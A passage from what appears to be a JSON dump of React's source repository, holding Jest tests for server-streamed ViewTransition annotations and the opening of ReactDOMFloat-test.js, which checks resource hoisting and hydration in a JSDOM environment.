jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    document = jsdom.window.document;\n    container = document.getElementById('container');\n    global.window = jsdom.window;\n    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.\n    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>\n      setTimeout(cb);\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  async function serverAct(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    const bufferedContent = buffer;\n    buffer = '';\n    const temp = document.createElement('body');\n    temp.innerHTML = bufferedContent;\n    await insertNodesAndExecuteScripts(temp, container, null);\n    jest.runAllTimers();\n  }\n\n  // @gate enableViewTransition\n  it('emits annotations for view transitions', async () => {\n    function App() {\n      return (\n        <div>\n          <ViewTransition>\n            <div />\n          </ViewTransition>\n          <ViewTransition name=\"foo\" update=\"bar\">\n            <div />\n          </ViewTransition>\n          <ViewTransition update={{something: 'a', default: 'baz'}}>\n            <div />\n          </ViewTransition>\n          <ViewTransition name=\"outer\" update=\"bar\" share=\"pair\">\n            <ViewTransition>\n              <div />\n            </ViewTransition>\n          </ViewTransition>\n        </div>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div vt-update=\"auto\" />\n        <div vt-name=\"foo\" vt-update=\"bar\" vt-share=\"auto\" />\n        <div vt-update=\"baz\" />\n        <div vt-name=\"outer\" vt-update=\"auto\" vt-share=\"pair\" />\n      </div>,\n    );\n\n    // Hydration should not yield any errors.\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n  });\n\n  // @gate enableViewTransition\n  it('emits enter/exit annotations for view transitions inside Suspense', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Suspend() {\n      return React.use(promise);\n    }\n    function App() {\n      const fallback = (\n        <ViewTransition>\n          <div>\n            <ViewTransition>\n              <span>Loading</span>\n            </ViewTransition>\n          </div>\n        </ViewTransition>\n      );\n      return (\n        <div>\n          <Suspense fallback={fallback}>\n            <ViewTransition>\n              <Suspend />\n            </ViewTransition>\n          </Suspense>\n        </div>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div vt-update=\"auto\" vt-exit=\"auto\">\n          <span vt-update=\"auto\">Loading</span>\n        </div>\n      </div>,\n    );\n\n    await serverAct(async () => {\n      await resolve(\n        <div>\n          <ViewTransition>\n            <span>Content</span>\n          </ViewTransition>\n        </div>,\n      );\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div vt-update=\"auto\" vt-enter=\"auto\">\n          <span vt-update=\"auto\">Content</span>\n        </div>\n      </div>,\n    );\n\n    // Hydration should not yield any errors.\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n  });\n\n  // @gate enableViewTransition\n  it('can emit both enter and exit on the same node', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Suspend() {\n      return React.use(promise);\n    }\n    function App() {\n      const fallback = (\n        <Suspense fallback={null}>\n          <ViewTransition enter=\"hello\" exit=\"goodbye\">\n            <div>\n              <ViewTransition>\n                <span>Loading</span>\n              </ViewTransition>\n            </div>\n          </ViewTransition>\n        </Suspense>\n      );\n      return (\n        <div>\n          <Suspense fallback={fallback}>\n            <ViewTransition enter=\"hi\">\n              <Suspend />\n            </ViewTransition>\n          </Suspense>\n        </div>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div vt-update=\"auto\" vt-enter=\"hello\" vt-exit=\"goodbye\">\n          <span vt-update=\"auto\">Loading</span>\n        </div>\n      </div>,\n    );\n\n    await serverAct(async () => {\n      await resolve(\n        <div>\n          <ViewTransition>\n            <span>Content</span>\n          </ViewTransition>\n        </div>,\n      );\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div vt-update=\"auto\" vt-enter=\"hi\">\n          <span vt-update=\"auto\">Content</span>\n        </div>\n      </div>,\n    );\n\n    // Hydration should not yield any errors.\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n  });\n\n  // @gate enableViewTransition\n  it('emits annotations for view transitions outside Suspense', async () => {\n    let resolve;\n    const promise = new Promise(r => (resolve = r));\n    function Suspend() {\n      return React.use(promise);\n    }\n    function App() {\n      const fallback = (\n        <div>\n          <ViewTransition>\n            <span>Loading</span>\n          </ViewTransition>\n        </div>\n      );\n      return (\n        <div>\n          <ViewTransition>\n            <Suspense fallback={fallback}>\n              <Suspend />\n            </Suspense>\n          </ViewTransition>\n        </div>\n      );\n    }\n\n    await serverAct(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div vt-name=\"_R_0_\" vt-update=\"auto\" vt-share=\"auto\">\n          <span vt-update=\"auto\">Loading</span>\n        </div>\n      </div>,\n    );\n\n    await serverAct(async () => {\n      await resolve(\n        <div>\n          <ViewTransition>\n            <span>Content</span>\n          </ViewTransition>\n        </div>,\n      );\n    });\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <div vt-name=\"_R_0_\" vt-update=\"auto\" vt-share=\"auto\">\n          <span vt-update=\"auto\">Content</span>\n        </div>\n      </div>,\n    );\n\n    // Hydration should not yield any errors.\n    await clientAct(async () => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFloat-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\nimport {\n  insertNodesAndExecuteScripts,\n  mergeOptions,\n} from '../test-utils/FizzTestUtils';\n\nlet JSDOM;\nlet Stream;\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMFizzServer;\nlet Suspense;\nlet SuspenseList;\nlet textCache;\nlet loadCache;\nlet writable;\nlet CSPnonce = null;\nlet container;\nlet buffer = '';\nlet hasErrored = false;\nlet fatalError = undefined;\nlet renderOptions;\nlet waitForAll;\nlet assertLog;\nlet Scheduler;\nlet clientAct;\nlet streamingContainer;\nlet assertConsoleErrorDev;\n\ndescribe('ReactDOMFloat', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    // We mock matchMedia. for simplicity it only matches 'all' or '' and misses everything else\n    Object.defineProperty(jsdom.window, 'matchMedia', {\n      writable: true,\n      value: jest.fn().mockImplementation(query => ({\n        matches: query === 'all' || query === '',\n        media: query,\n      })),\n    });\n    streamingContainer = null;\n    global.window = jsdom.window;\n    global.document = global.window.document;\n    global.navigator = global.window.navigator;\n    global.Node = global.window.Node;\n    global.addEventListener = global.window.addEventListener;\n    global.MutationObserver = global.window.MutationObserver;\n    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.\n    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>\n      setTimeout(cb);\n    container = document.getElementById('container');\n\n    CSPnonce = null;\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMFizzServer = require('react-dom/server');\n    Stream = require('stream');\n    Suspense = React.Suspense;\n    SuspenseList = React.unstable_SuspenseList;\n    Scheduler = require('scheduler/unstable_mock');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    clientAct = InternalTestUtils.act;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n\n    textCache = new Map();\n    loadCache = new Set();\n\n    buffer = '';\n    hasErrored = false;\n\n    writable = new Stream.PassThrough();\n    writable.setEncoding('utf8');\n    writable.on('data', chunk => {\n      buffer += chunk;\n    });\n    writable.on('error', error => {\n      hasErrored = true;\n      fatalError = error;\n    });\n\n    renderOptions = {};\n    if (gate(flags => flags.shouldUseFizzExternalRuntime)) {\n      renderOptions.unstable_externalRuntimeSrc =\n        'react-dom/unstable_server-external-runtime';\n    }\n  });\n\n  const bodyStartMatch = /<body(?:>| .*?>)/;\n  const headStartMatch = /<head(?:>| .*?>)/;\n\n  async function act(callback) {\n    await callback();\n    // Await one turn around the event loop.\n    // This assumes that we'll flush everything we have so far.\n    await new Promise(resolve => {\n      setImmediate(resolve);\n    });\n    if (hasErrored) {\n      throw fatalError;\n    }\n    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.\n    // We also want to execute any scripts that are embedded.\n    // We assume that we have now received a proper fragment of HTML.\n    let bufferedContent = buffer;\n    buffer = '';\n\n    if (!bufferedContent) {\n      jest.runAllTimers();\n      return;\n    }\n\n    const bodyMatch = bufferedContent.match(bodyStartMatch);\n    const headMatch = bufferedContent.match(headStartMatch);\n\n    if (streamingContainer === null) {\n      // This is the first streamed content. We decide here where to insert it. If we get <html>, <head>, or <body>\n      // we abandon the pre-built document and start from scratch. If we get anything else we assume it goes into the\n      // container. This is not really production behavior because you can't correctly stream into a deep div effectively\n      // but it's pragmatic for tests.\n\n      if (\n        bufferedContent.startsWith('<head>') ||\n        bufferedContent.startsWith('<head ') ||\n        bufferedContent.startsWith('<body>') ||\n        bufferedContent.startsWith('<body ')\n      ) {\n        // wrap in doctype to normalize the parsing process\n        bufferedContent = '<!DOCTYPE html><html>' + bufferedContent;\n      } else if (\n        bufferedContent.startsWith('<html>') ||\n        bufferedContent.startsWith('<html ')\n      ) {\n        throw new Error(\n          'Recieved <html> without a <!DOCTYPE html> which is almost certainly a bug in React',\n        );\n      }\n\n      if (bufferedContent.startsWith('<!DOCTYPE html>')) {\n        // we can just use the whole document\n        const tempDom = new JSDOM(bufferedContent);\n\n        // Wipe existing head and body content\n        document.head.innerHTML = '';\n        document.body.innerHTML = '';\n\n        // Copy the <html> attributes over\n        const tempHtmlNode = tempDom.window.document.documentElement;\n        for (let i = 0; i < tempHtmlNode.attributes.length; i++) {\n          const attr = tempHtmlNode.attributes[i];\n          document.documentElement.setAttribute(attr.name, attr.value);\n        }\n\n        if (headMatch) {\n          // We parsed a head open tag. we need to copy head attributes and insert future\n          // content into <head>\n          streamingContainer = document.head;\n          const tempHeadNode = tempDom.window.document.head;\n          for (let i = 0; i < tempHeadNode.attributes.length; i++) {\n            const attr = tempHeadNode.attributes[i];\n            document.head.setAttribute(attr.name, attr.value);\n          }\n          const source = document.createElement('head');\n          source.innerHTML = tempHeadNode.innerHTML;\n          await insertNodesAndExecuteScripts(source, document.head, CSPnonce);\n        }\n\n        if (bodyMatch) {\n          // We parsed a body open tag. we need to copy head attributes and insert future\n          // content into <body>\n          streamingContainer = document.body;\n          const tempBodyNode = tempDom.window.document.body;\n          for (let i = 0; i < tempBodyNode.attributes.length; i++) {\n            const attr = tempBodyNode.attributes[i];\n            document.body.setAttribute(attr.name, attr.value);\n          }\n          const source = document.createElement('body');\n          source.innerHTML = tempBodyNode.innerHTML;\n          await insertNodesAndExecuteScripts(source, document.body, CSPnonce);\n        }\n\n        if (!headMatch && !bodyMatch) {\n          throw new Error('expected <head> or <body> after <html>');\n        }\n      } else {\n        // we assume we are streaming into the default container'\n        streamingContainer = container;\n        const div = document.createElement('div');\n        div.innerHTML = bufferedContent;\n        await insertNodesAndExecuteScripts(div, container, CSPnonce);\n      }\n    } else if (streamingContainer === document.head) {\n      bufferedContent = '<!DOCTYPE html><html><head>' + bufferedContent;\n      const tempDom = new JSDOM(bufferedContent);\n\n      const tempHeadNode = tempDom.window.document.head;\n      const source = document.createElement('head');\n      source.innerHTML = tempHeadNode.innerHTML;\n      await insertNodesAndExecuteScripts(source, document.head, CSPnonce);\n\n      if (bodyMatch) {\n        streamingContainer = document.body;\n\n        const tempBodyNode = tempDom.window.document.body;\n        for (let i = 0; i < tempBodyNode.attributes.length; i++) {\n          const attr = tempBodyNode.attributes[i];\n          document.body.setAttribute(attr.name, attr.value);\n        }\n        const bodySource = document.createElement('body');\n        bodySource.innerHTML = tempBodyNode.innerHTML;\n        await insertNodesAndExecuteScripts(bodySource, document.body, CSPnonce);\n      }\n    } else {\n      const div = document.createElement('div');\n      div.innerHTML = bufferedContent;\n      await insertNodesAndExecuteScripts(div, streamingContainer, CSPnonce);\n    }\n    await 0;\n    // Let throttled boundaries reveal\n    jest.runAllTimers();\n  }\n\n  function getMeaningfulChildren(element) {\n    const children = [];\n    let node = element.firstChild;\n    while (node) {\n      if (node.nodeType === 1) {\n        if (\n          // some tags are ambiguous and might be hidden because they look like non-meaningful children\n          // so we have a global override where if this data attribute is included we also include the node\n          node.hasAttribute('data-meaningful') ||\n          (node.tagName === 'SCRIPT' &&\n            node.hasAttribute('src') &&\n            node.getAttribute('src') !==\n              renderOptions.unstable_externalRuntimeSrc &&\n            node.hasAttribute('async')) ||\n          (node.tagName !== 'SCRIPT' &&\n            node.tagName !== 'TEMPLATE' &&\n            node.tagName !== 'template' &&\n            !node.hasAttribute('hidden') &&\n            !node.hasAttribute('aria-hidden') &&\n            // Ignore the render blocking expect\n            (node.getAttribute('rel') !== 'expect' ||\n              node.getAttribute('blocking') !== 'render'))\n        ) {\n          const props = {};\n          const attributes = node.attributes;\n          for (let i = 0; i < attributes.length; i++) {\n            if (\n              attributes[i].name === 'id' &&\n              attributes[i].value.includes(':')\n            ) {\n              // We assume this is a React added ID that's a non-visual implementation detail.\n              continue;\n            }\n            props[attributes[i].name] = attributes[i].value;\n          }\n          props.children = getMeaningfulChildren(node);\n          children.push(React.createElement(node.tagName.toLowerCase(), props));\n        }\n      } else if (node.nodeType === 3) {\n        children.push(node.data);\n      }\n      node = node.nextSibling;\n    }\n    return children.length === 0\n      ? undefined\n      : children.length === 1\n        ? children[0]\n        : children;\n  }\n\n  function BlockedOn({value, children}) {\n    readText(value);\n    return children;\n  }\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function AsyncText({text}) {\n    return readText(text);\n  }\n\n  function renderToPipeableStream(jsx, options) {\n    // Merge options with renderOptions, which may contain featureFlag specific behavior\n    return ReactDOMFizzServer.renderToPipeableStream(\n      jsx,\n      mergeOptions(options, renderOptions),\n    );\n  }\n\n  function loadPreloads(hrefs) {\n    const event = new window.Event('load');\n    const nodes = document.querySelectorAll('link[rel=\"preload\"]');\n    resolveLoadables(hrefs, nodes, event, href =>\n      Scheduler.log('load preload: ' + href),\n    );\n  }\n\n  function errorPreloads(hrefs) {\n    const event = new window.Event('error');\n    const nodes = document.querySelectorAll('link[rel=\"preload\"]');\n    resolveLoadables(hrefs, nodes, event, href =>\n      Scheduler.log('error preload: ' + href),\n    );\n  }\n\n  function loadStylesheets(hrefs) {\n    loadStylesheetsFrom(document, hrefs);\n  }\n\n  function loadStylesheetsFrom(root, hrefs) {\n    const event = new window.Event('load');\n    const nodes = root.querySelectorAll('link[rel=\"stylesheet\"]');\n    resolveLoadables(hrefs, nodes, event, href => {\n      Scheduler.log('load stylesheet: ' + href);\n    });\n  }\n\n  function errorStylesheets(hrefs) {\n    const event = new window.Event('error');\n    const nodes = document.querySelectorAll('link[rel=\"stylesheet\"]');\n    resolveLoadables(hrefs, nodes, event, href => {\n      Scheduler.log('error stylesheet: ' + href);\n    });\n  }\n\n  function resolveLoadables(hrefs, nodes, event, onLoad) {\n    const hrefSet = hrefs ? new Set(hrefs) : null;\n    for (let i = 0; i < nodes.length; i++) {\n      const node = nodes[i];\n      if (loadCache.has(node)) {\n        continue;\n      }\n      const href = node.getAttribute('href');\n      if (!hrefSet || hrefSet.has(href)) {\n        loadCache.add(node);\n        onLoad(href);\n        node.dispatchEvent(event);\n      }\n    }\n  }\n\n  it('can render resources before singletons', async () => {\n    const root = ReactDOMClient.createRoot(document);\n    root.render(\n      <>\n        <title>foo</title>\n        <html>\n          <head>\n            <link rel=\"foo\" href=\"foo\" />\n          </head>\n          <body>hello world</body>\n        </html>\n      </>,\n    );\n    try {\n      await waitForAll([]);\n    } catch (e) {\n      // for DOMExceptions that happen when expecting this test to fail we need\n      // to clear the scheduler first otherwise the expected failure will fail\n      await waitForAll([]);\n      throw e;\n    }\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <title>foo</title>\n          <link rel=\"foo\" href=\"foo\" />\n        </head>\n        <body>hello world</body>\n      </html>,\n    );\n  });\n\n  it('can hydrate non Resources in head when Resources are also inserted there', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head>\n            <meta property=\"foo\" content=\"bar\" />\n            <link rel=\"foo\" href=\"bar\" onLoad={() => {}} />\n            <title>foo</title>\n            <noscript>\n              <link rel=\"icon\" href=\"icon\" />\n            </noscript>\n            <base target=\"foo\" href=\"bar\" />\n            <script async={true} src=\"foo\" onLoad={() => {}} />\n          </head>\n          <body>foo</body>\n        </html>,\n      );\n      pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta property=\"foo\" content=\"bar\" />\n          <title>foo</title>\n          <link rel=\"foo\" href=\"bar\" />\n          <noscript>&lt;link rel=\"icon\" href=\"icon\"&gt;</noscript>\n          <base target=\"foo\" href=\"bar\" />\n          <script async=\"\" src=\"foo\" />\n        </head>\n        <body>foo</body>\n      </html>,\n    );\n\n    ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <head>\n          <meta property=\"foo\" content=\"bar\" />\n          <link rel=\"foo\" href=\"bar\" onLoad={() => {}} />\n          <title>foo</title>\n          <noscript>\n            <link rel=\"icon\" href=\"icon\" />\n          </noscript>\n          <base target=\"foo\" href=\"bar\" />\n          <script async={true} src=\"foo\" onLoad={() => {}} />\n        </head>\n        <body>foo</body>\n      </html>,\n    );\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta property=\"foo\" content=\"bar\" />\n          <title>foo</title>\n          <link rel=\"foo\" href=\"bar\" />\n          <noscript>&lt;link rel=\"icon\" href=\"icon\"&gt;</noscript>\n          <base target=\"foo\" href=\"bar\" />\n          <script async=\"\" src=\"foo\" />\n        </head>\n        <body>foo</body>\n      </html>,\n    );\n  });\n\n  it('warns if you render resource-like elements above <head> or <body>', async () => {\n    const root = ReactDOMClient.createRoot(document);\n\n    root.render(\n      <>\n        <noscript>foo</noscript>\n        <html>\n          <body>foo</body>\n        </html>\n      </>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render <noscript> outside the main document. Try moving it into the root <head> tag.',\n    ]);\n\n    root.render(\n      <html>\n        <template>foo</template>\n        <body>foo</body>\n      </html>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render <template> outside the main document. Try moving it into the root <head> tag.\\n' +\n        '    in html (at **)',\n      'In HTML, <template> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n\\n' +\n        '> <html>\\n' +\n        '>   <template>\\n' +\n        '    ...\\n' +\n        '\\n' +\n        '    in template (at **)',\n    ]);\n\n    root.render(\n      <html>\n        <body>foo</body>\n        <style>foo</style>\n      </html>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <style> outside the main document without knowing its precedence ' +\n        'and a unique href key. React can hoist and deduplicate <style> tags if you provide a ' +\n        '`precedence` prop along with an `href` prop that does not conflict with the `href` ' +\n        'values used in any other hoisted <style> or <link rel=\"stylesheet\" ...> tags.  ' +\n        'Note that hoisting <style> tags is considered an advanced feature that most will not use directly. ' +\n        'Consider moving the <style> tag to the <head> or consider adding a `precedence=\"default\"` ' +\n        'and `href=\"some unique resource identifier\"`.\\n' +\n        '    in html (at **)',\n      'In HTML, <style> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n\\n' +\n        '> <html>\\n' +\n        '    <body>\\n' +\n        '>   <style>\\n' +\n        '\\n' +\n        '    in style (at **)',\n    ]);\n\n    root.render(\n      <>\n        <html>\n          <body>foo</body>\n        </html>\n        <link rel=\"stylesheet\" href=\"foo\" />\n      </>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <link rel=\"stylesheet\" /> outside the main document without knowing its precedence. ' +\n        'Consider adding precedence=\"default\" or moving it into the root <head> tag.',\n    ]);\n\n    root.render(\n      <>\n        <html>\n          <body>foo</body>\n          <script href=\"foo\" />\n        </html>\n      </>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a sync or defer <script> outside the main document without knowing its order. ' +\n        'Try adding async=\"\" or moving it into the root <head> tag.\\n' +\n        '    in html (at **)',\n      'In HTML, <script> cannot be a child of <html>.\\n' +\n        'This will cause a hydration error.\\n' +\n        '\\n' +\n        '> <html>\\n' +\n        '    <body>\\n' +\n        '>   <script href=\"foo\">\\n' +\n        '\\n' +\n        '    in script (at **)',\n      ...(gate('enableTrustedTypesIntegration')\n        ? [\n            'Encountered a script tag while rendering React component. ' +\n              'Scripts inside React components are never executed when rendering on the client. ' +\n              'Consider using template tag instead (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\\n' +\n              '     in script (at **)',\n          ]\n        : []),\n    ]);\n\n    root.render(\n      <html>\n        <script async={true} onLoad={() => {}} href=\"bar\" />\n        <body>foo</body>\n      </html>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <script> with onLoad or onError listeners outside the main document. ' +\n        'Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or ' +\n        'somewhere in the <body>.\\n' +\n        '    in html (at **)',\n    ]);\n\n    root.render(\n      <>\n        <link rel=\"foo\" onLoad={() => {}} href=\"bar\" />\n        <html>\n          <body>foo</body>\n        </html>\n      </>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Cannot render a <link> with onLoad or onError listeners outside the main document. ' +\n        'Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or ' +\n        'somewhere in the <body>.',\n    ]);\n    return;\n  });\n\n  it('can acquire a resource after releasing it in the same commit', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    root.render(\n      <>\n        <script async={true} src=\"foo\" />\n      </>,\n    );\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <script async=\"\" src=\"foo\" />\n        </head>\n        <body>\n          <div id=\"container\" />\n        </body>\n      </html>,\n    );\n\n    root.render(\n      <>\n        {null}\n        <script data-new=\"new\" async={true} src=\"foo\" />\n      </>,\n    );\n    await waitForAll([]);\n    // we don't see the attribute because the resource is the same and was not reconstructed\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <script async=\"\" src=\"foo\" />\n        </head>\n        <body>\n          <div id=\"container\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('emits an implicit <head> element to hold resources when none is rendered but an <html> is rendered', async () => {\n    const chunks = [];\n\n    writable.on('data', chunk => {\n      chunks.push(chunk);\n    });\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <>\n          <title>foo</title>\n          <html>\n            <body>bar</body>\n          </html>\n          <script async={true} src=\"foo\" />\n        </>,\n      );\n      pipe(writable);\n    });\n    expect(chunks).toEqual([\n      '<!DOCTYPE html><html><head><script async=\"\" src=\"foo\"></script>' +\n        (gate(flags => flags.shouldUseFizzExternalRuntime)\n          ? '<script src=\"react-dom/unstable_server-external-runtime\" async=\"\"></script>'\n          : '') +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\"/>'\n          : '') +\n        '<title>foo</title></head>' +\n        '<body>bar' +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<template id=\"_R_\"></template>'\n          : ''),\n      '</body></html>',\n    ]);\n  });\n\n  it('dedupes if the external runtime is explicitly loaded using preinit', async () => {\n    const unstable_externalRuntimeSrc = 'src-of-external-runtime';\n    function App() {\n      ReactDOM.preinit(unstable_externalRuntimeSrc, {as: 'script'});\n      return (\n        <div>\n          <Suspense fallback={<h1>Loading...</h1>}>\n            <AsyncText text=\"Hello\" />\n          </Suspense>\n        </div>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <html>\n          <head />\n          <body>\n            <App />\n          </body>\n        </html>,\n        {\n          unstable_externalRuntimeSrc,\n        },\n      );\n      pipe(writable);\n    });\n\n    expect(\n      Array.from(document.querySelectorAll('script[async]')).map(\n        n => n.outerHTML,\n      ),\n    ).toEqual(['<script src=\"src-of-external-runtime\" async=\"\"></script>']);\n  });\n\n  it('can send style insertion implementation independent of boundary commpletion instruction implementation', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <Suspense fallback=\"loading foo...\">\n              <BlockedOn value=\"foo\">foo</BlockedOn>\n            </Suspense>\n            <Suspense fallback=\"loading bar...\">\n              <BlockedOn value=\"bar\">\n                <link rel=\"stylesheet\" href=\"bar\" precedence=\"bar\" />\n                bar\n              </BlockedOn>\n            </Suspense>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          {'loading foo...'}\n          {'loading bar...'}\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('foo');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          foo\n          {'loading bar...'}\n        </body>\n      </html>,\n    );\n    await act(() => {\n      resolveText('bar');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"bar\" />\n        </head>\n        <body>\n          foo\n          {'loading bar...'}\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('can avoid inserting a late stylesheet if it already rendered on the client', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <Suspense fallback=\"loading foo...\">\n              <BlockedOn value=\"foo\">\n                <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n                foo\n              </BlockedOn>\n            </Suspense>\n            <Suspense fallback=\"loading bar...\">\n              <BlockedOn value=\"bar\">\n                <link rel=\"stylesheet\" href=\"bar\" precedence=\"bar\" />\n                bar\n              </BlockedOn>\n            </Suspense>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          {'loading foo...'}\n          {'loading bar...'}\n        </body>\n      </html>,\n    );\n\n    ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <body>\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n          <Suspense fallback=\"loading foo...\">\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n            foo\n          </Suspense>\n          <Suspense fallback=\"loading bar...\">\n            <link rel=\"stylesheet\" href=\"bar\" precedence=\"bar\" />\n            bar\n          </Suspense>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n    loadPreloads();\n    await assertLog(['load preload: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </head>\n        <body>\n          {'loading foo...'}\n          {'loading bar...'}\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('bar');\n    });\n    await act(() => {\n      loadStylesheets();\n    });\n    await assertLog(['load stylesheet: foo', 'load stylesheet: bar']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link 